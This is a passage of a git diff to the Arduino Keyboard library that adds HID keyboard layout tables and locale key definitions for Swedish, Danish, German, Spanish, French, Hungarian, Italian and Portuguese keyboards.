// 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x1f|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x25|ALT_GR, // [ + 0x35, // bslash + 0x26|ALT_GR, // ] + 0x00, // ^ not supported (requires dead key + space) + 0x38|SHIFT, // _ + 0x00, // ` not supported (requires dead key + space) + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x24|ALT_GR, // { + 0x35|SHIFT, // | + 0x27|ALT_GR, // } + 0x00, // ~ not supported (requires dead key + space) + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/KeyboardLayout_sv_SE.cpp b/libraries/Keyboard/src/KeyboardLayout_sv_SE.cpp new file mode 100644 index 0000000..eea0705 --- /dev/null +++ b/libraries/Keyboard/src/KeyboardLayout_sv_SE.cpp @@ -0,0 +1,138 @@ +/* + * Swedish keyboard layout. + */ + +#include "KeyboardLayout.h" + +extern const uint8_t KeyboardLayout_sv_SE[128] PROGMEM = +{ + 0x00, // NUL + 0x00, // SOH + 0x00, // STX + 0x00, // ETX + 0x00, // EOT + 0x00, // ENQ + 0x00, // ACK + 0x00, // BEL + 0x2a, // BS Backspace + 0x2b, // TAB Tab + 0x28, // LF Enter + 0x00, // VT + 0x00, // FF + 0x00, // CR + 0x00, // SO + 0x00, // SI + 0x00, // DEL + 0x00, // DC1 + 0x00, // DC2 + 0x00, // DC3 + 0x00, // DC4 + 0x00, // NAK + 0x00, // SYN + 0x00, // ETB + 0x00, // CAN + 0x00, // EM + 0x00, // SUB + 0x00, // ESC + 0x00, // FS + 0x00, // GS + 0x00, // RS + 0x00, // US + + 0x2c, // ' ' + 0x1e|SHIFT, // ! + 0x1f|SHIFT, // " + 0x20|SHIFT, // # + 0x21|ALT_GR, // $ + 0x22|SHIFT, // % + 0x23|SHIFT, // & + 0x31, // ' + 0x25|SHIFT, // ( + 0x26|SHIFT, // ) + 0x31|SHIFT, // * + 0x2d, // + + 0x36, // , + 0x38, // - + 0x37, // . + 0x24|SHIFT, // / + 0x27, // 0 + 0x1e, // 1 + 0x1f, // 2 + 0x20, // 3 + 0x21, // 4 + 0x22, // 5 + 0x23, // 6 + 0x24, // 7 + 0x25, // 8 + 0x26, // 9 + 0x37|SHIFT, // : + 0x36|SHIFT, // ; + 0x32, // < + 0x27|SHIFT, // = + 0x32|SHIFT, // > + 0x2d|SHIFT, // ? + 0x1f|ALT_GR, // @ + 0x04|SHIFT, // A + 0x05|SHIFT, // B + 0x06|SHIFT, // C + 0x07|SHIFT, // D + 0x08|SHIFT, // E + 0x09|SHIFT, // F + 0x0a|SHIFT, // G + 0x0b|SHIFT, // H + 0x0c|SHIFT, // I + 0x0d|SHIFT, // J + 0x0e|SHIFT, // K + 0x0f|SHIFT, // L + 0x10|SHIFT, // M + 0x11|SHIFT, // N + 0x12|SHIFT, // O + 0x13|SHIFT, // P + 0x14|SHIFT, // Q + 0x15|SHIFT, // R + 0x16|SHIFT, // S + 0x17|SHIFT, // T + 0x18|SHIFT, // U + 0x19|SHIFT, // V + 0x1a|SHIFT, // W + 0x1b|SHIFT, // X + 0x1c|SHIFT, // Y + 0x1d|SHIFT, // Z + 0x25|ALT_GR, // [ + 0x2d|ALT_GR, // bslash + 0x26|ALT_GR, // ] + 0x00, // ^ not supported (requires dead key + space) + 0x38|SHIFT, // _ + 0x00, // ` not supported (requires dead key + space) + 0x04, // a + 0x05, // b + 0x06, // c + 0x07, // d + 0x08, // e + 0x09, // f + 0x0a, // g + 0x0b, // h + 0x0c, // i + 0x0d, // j + 0x0e, // k + 0x0f, // l + 0x10, // m + 0x11, // n + 0x12, // o + 0x13, // p + 0x14, // q + 0x15, // r + 0x16, // s + 0x17, // t + 0x18, // u + 0x19, // v + 0x1a, // w + 0x1b, // x + 0x1c, // y + 0x1d, // z + 0x24|ALT_GR, // { + 0x32|ALT_GR, // | + 0x27|ALT_GR, // } + 0x00, // ~ not supported (requires dead key + space) + 0x00 // DEL +}; diff --git a/libraries/Keyboard/src/Keyboard_da_DK.h b/libraries/Keyboard/src/Keyboard_da_DK.h new file mode 100644 index 0000000..d1eba61 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_da_DK.h @@ -0,0 +1,44 @@ +/* + Keyboard_da_DK.h + + Copyright (c) 2021, Peter John + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_DA_DK_h +#define KEYBOARD_DA_DK_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// DA_DK keys +#define KEY_A_RING (136+0x2f) +#define KEY_SLASHED_O (136+0x34) +#define KEY_ASH (136+0x33) +#define KEY_UMLAUT (136+0x30) +#define KEY_ACUTE_ACC (136+0x2e) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_de_DE.h b/libraries/Keyboard/src/Keyboard_de_DE.h new file mode 100644 index 0000000..f1e92b2 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_de_DE.h @@ -0,0 +1,45 @@ +/* + Keyboard_de_DE.h + + Copyright (c) 2022, Edgar Bonet + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_DE_DE_h +#define KEYBOARD_DE_DE_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// de_DE keys +#define KEY_CIRCUMFLEX (136+0x35) +#define KEY_ESZETT (136+0x2d) +#define KEY_ACUTE (136+0x2e) +#define KEY_U_UMLAUT (136+0x2f) +#define KEY_O_UMLAUT (136+0x33) +#define KEY_A_UMLAUT (136+0x34) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_es_ES.h b/libraries/Keyboard/src/Keyboard_es_ES.h new file mode 100644 index 0000000..1d808ed --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_es_ES.h @@ -0,0 +1,45 @@ +/* + Keyboard_es_ES.h + + Copyright (c) 2022, Edgar Bonet + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_ES_ES_h +#define KEYBOARD_ES_ES_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// es_ES keys +#define KEY_MASCULINE_ORDINAL (136+0x35) +#define KEY_INVERTED_EXCLAMATION (136+0x2e) +#define KEY_GRAVE (136+0x2f) +#define KEY_N_TILDE (136+0x33) +#define KEY_ACUTE (136+0x34) +#define KEY_C_CEDILLA (136+0x31) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_fr_FR.h b/libraries/Keyboard/src/Keyboard_fr_FR.h new file mode 100644 index 0000000..faef422 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_fr_FR.h @@ -0,0 +1,46 @@ +/* + Keyboard_fr_FR.h + + Copyright (c) 2022, Edgar Bonet + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_FR_FR_h +#define KEYBOARD_FR_FR_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// fr_FR keys +#define KEY_SUPERSCRIPT_TWO (136+0x35) +#define KEY_E_ACUTE (136+0x1f) +#define KEY_E_GRAVE (136+0x24) +#define KEY_C_CEDILLA (136+0x26) +#define KEY_A_GRAVE (136+0x27) +#define KEY_CIRCUMFLEX (136+0x2f) +#define KEY_U_GRAVE (136+0x34) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_hu_HU.h b/libraries/Keyboard/src/Keyboard_hu_HU.h new file mode 100644 index 0000000..0d8cf44 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_hu_HU.h @@ -0,0 +1,52 @@ +/* + Keyboard_hu_HU.h + + Copyright (c) 2023, Barab(0x34)si Rich(0x34)rd + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_HU_HU_h +#define KEYBOARD_HU_HU_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// hu_HU keys +#define KEY_O_ACUTE (136+0x2e) +#define KEY_O_UMLAUT (136+0x27) +#define KEY_O_DOUBLE_ACUTE (136+0x2f) + +#define KEY_U_ACUTE (136+0x30) +#define KEY_U_UMLAUT (136+0x2d) +#define KEY_U_DOUBLE_ACUTE (136+0x31) + +#define KEY_A_ACUTE (136+0x34) + +#define KEY_E_ACUTE (136+0x33) + +#define KEY_I_ACUTE (136+0x32) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_it_IT.h b/libraries/Keyboard/src/Keyboard_it_IT.h new file mode 100644 index 0000000..7d5e354 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_it_IT.h @@ -0,0 +1,44 @@ +/* + Keyboard_it_IT.h + + Copyright (c) 2022, Edgar Bonet + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_IT_IT_h +#define KEYBOARD_IT_IT_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// it_IT keys +#define KEY_I_GRAVE (136+0x2e) +#define KEY_E_GRAVE (136+0x2f) +#define KEY_O_GRAVE (136+0x33) +#define KEY_A_GRAVE (136+0x34) +#define KEY_U_GRAVE (136+0x31) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_pt_PT.h b/libraries/Keyboard/src/Keyboard_pt_PT.h new file mode 100644 index 0000000..0d956c2 --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_pt_PT.h @@ -0,0 +1,44 @@ +/* + Keyboard_pt_PT.h + + Copyright (c) 2022, Edgar Bonet + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_PT_PT_h +#define KEYBOARD_PT_PT_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// pt_PT keys +#define KEY_LEFT_GUILLEMET (136+0x2e) +#define KEY_ACUTE (136+0x30) +#define KEY_C_CEDILLA (136+0x33) +#define KEY_MASCULINE_ORDINAL (136+0x34) +#define KEY_TILDE (136+0x31) + +#endif +#endif diff --git a/libraries/Keyboard/src/Keyboard_sv_SE.h b/libraries/Keyboard/src/Keyboard_sv_SE.h new file mode 100644 index 0000000..7d1f42a --- /dev/null +++ b/libraries/Keyboard/src/Keyboard_sv_SE.h @@ -0,0 +1,44 @@ +/* + Keyboard_sv_SE.h + + Copyright (c) 2021, Peter John + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#ifndef KEYBOARD_SV_SE_h +#define KEYBOARD_SV_SE_h + +#include "HID.h" + +#if !defined(_USING_HID) + +#warning "Using legacy HID core (non pluggable)" + +#else + +//================================================================================ +//================================================================================ +// Keyboard + +// SV_SE keys +#define KEY_A_RING (136+0x2f) +#define KEY_A_UMLAUT (136+0x34) +#define KEY_O_UMLAUT (136+0x33) +#define KEY_UMLAUT (136+0x30) +#define KEY_ACUTE_ACC (136+0x2e) + +#endif +#endif